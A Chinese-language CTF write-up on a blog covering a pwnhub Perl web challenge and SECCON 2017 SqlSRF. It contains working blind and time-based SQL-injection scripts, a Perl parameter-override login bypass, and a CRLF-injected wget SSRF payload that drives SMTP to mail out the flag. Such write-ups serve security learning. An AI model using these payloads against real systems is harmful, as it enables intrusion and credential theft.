LOnils's Blog

Pwnhub returns and SqlSRF WP

Word count: 1.1kReading time: 5 min
2017/12/17 Share

最近pwnhub出了个perl的Web题,查看源码title的时候顺便发现了SECCON2017的SqlSRF,也顺便也研究了下perl语言的一些特性。

0x01 Pwbhub归来

题目地址:http://54.222.248.100/
怕题目下线了把源码先cp下来。

1
my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");

user处很明显的sqli,撸个测试脚本注入下(最早之前是用延时注入脚本跑的,和0x2 SqlSRF里的脚本差不多)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
#coding=utf-8

import requests

url='http://54.222.248.100/cgi-bin/'
dic='abcdef0123456789'
password=''

for i in range(0,32):
for j in dic:
payload="' or password like '{}%' union select 'f561aaf6ef0bf14d4208bb46a4ccb3ad"
payload=payload.format(password+j)
data={
"user":payload,
"pass":"xxx",
"login":"Login"
}
res=requests.post(url,data=data)
if "Error!" in res.content:
password+=j
print password
break


得到63730edfab254f34761c17e89de28086
扔到各种解md5处都解不出来..
过了下代码,如果解出来了这题就直接pass了,不就变得太容易了…
所以老老实实看perl(强行看懂)。。。

我们先看第一个判断:

1
2
$md5->add($q->param('pass'));
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq $md5->clone->hexdigest) {}

$q->param('pass') 这个是我们输入可控字段咋样都好说,$row[0] 的值我们可以 union select 'XXXX' -- 这样控制。
payload:

1
user=admin'+union+select+'47bce5c74f589f4867dbd57e9ca9f808'+--&pass=aaa&login=Login

进入第一个if判断。。

再来看第二个判断

1
2
3
4
$s->param('autheduser', $q->param('user'));
print "<p style='color: #FFF'>YOU ARE " . $s->param('autheduser') . "<br>";
if ($s->param('autheduser') eq 'admin') {
print "FLAG</p>";

很明显要让autheduser里的值为admin,这里就考到perl的“特性”
一图解千言

对,变量覆盖
最终payload

1
user=admin'+union+select+'47bce5c74f589f4867dbd57e9ca9f808'+--&user=autheduser&user=admin&pass=aaa&login=Login

0x02 SECCON 2017 Web SqlSRF

题目地址:http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi
源码
pwnhub把这题改了部分,变成另一题,这题其实也不错,名字取得真好~
SQL语句和之前一样,在判断这边

1
2
3
4
5
if(my @row = $sth->fetchrow_array) {
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
$s->param('autheduser', $q->param('user'));
print "<scr"."ipt>document.location='./menu.cgi';</script>";
$errmsg = '';

encrypt函数应该是在require './.htcrypt.pl'; 里,无法访问。不过在cookie里可以发现有这一行

1
2
3
4
5
-cookie=>
[
$q->cookie(-name=>'CGISESSID', -value=>$s->id),
($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
])

save=1的时候,返回encrypt($user)

所以在user里输入admin 返回了

之后
username:’union select ‘58474452dda5c2bdc1f6869ace2ae9e3
password:admin

即可进入menu.cgi

不过貌似权限不高,还是得注入出admin的密码才行。
延时注入脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
from time import time
def send_payload(payload):
url = "http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi"
data = {"user":payload,"pass":"admin","login":"Login","save":"1"}
s = time()
r = requests.post(url, data=data)
e = time()
if e-s > 3.0:
return True
else:
return False

password = ""
while True:
payload = "admin' and password like '"
payload1 = "%' and 1=randomblob(600000000)--"
for i in "abcdef0123456789":
payload_send = payload + password + i + payload1
flag = send_payload(payload_send)
if flag == True:
password+=i
break
print password
if len(password) == 32:
break

得到一串神秘代码~
(d2f37e101c0e76bcc90b5634a5510f64)

1
$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

需要解密?直接扔到cookie rember去

得到密码后直接登录

登录后 通过netstat 可以看到本地25端口(SMTP)开放,2处有wget,命令后面可控,SSRF。wget 有个CRLF
Vulnerability Report - CRLF Injection in Wget Host Part
%0a%0d即可任意执行(这脑回路反正我是没想到,应该比赛的时候有tips吧)

1
2
3
4
5
6
7
8
9
10
11
12
127.0.0.1
HELO admin
MAIL FROM:<myemail@gmail.com>
RCPT TO:<root@ymzk01.pwn>
DATA
From:myemail@gmail.com
To:root@ymzk01.pwn
Subject:give me flag
give me flag
.
QUIT
:25/

email 改成自己邮箱即可收到

payload:

1
127.0.0.1%0D%0AHELO%20admin%0D%0AMAIL%20FROM%3A%3Cmyemail%40gmail.com%3E%0D%0ARCPT%20TO%3A%3Croot%40ymzk01.pwn%3E%0D%0ADATA%0D%0AFrom%3Amyemail%40gmail.com%0D%0ATo%3Aroot%40ymzk01.pwn%0D%0ASubject%3Agive%20me%20flag%0D%0Agive%20me%20flag%0D%0A.%0D%0AQUIT%0D%0A%:25/

再次解密即可

也可以利用万能的py,顺便复习下bs4

1
2
3
4
5
6
7
8
9
10
11
from bs4 import BeautifulSoup as bs4

def get_password_decrypted(password):
url = "http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi"
data = {"user":"","pass":"test","login":"Login"}
cookie = {'remember': password}
r = requests.post(url, data=data,cookies=cookie)
html_bytes = r.text
soup = bs4(html_bytes, 'lxml')
password_dec = soup.find('input', {'name':'user'})['value']
return password_dec

0x03 Perl Security

[1] The Perl Jam
[2] The Perl Jam 2

其中在最后给出了个很好的建议:STOP USING PERL 🤣

CATALOG
  1. 1. 0x01 Pwbhub归来
  2. 2. 0x02 SECCON 2017 Web SqlSRF
  3. 3. 0x03 Perl Security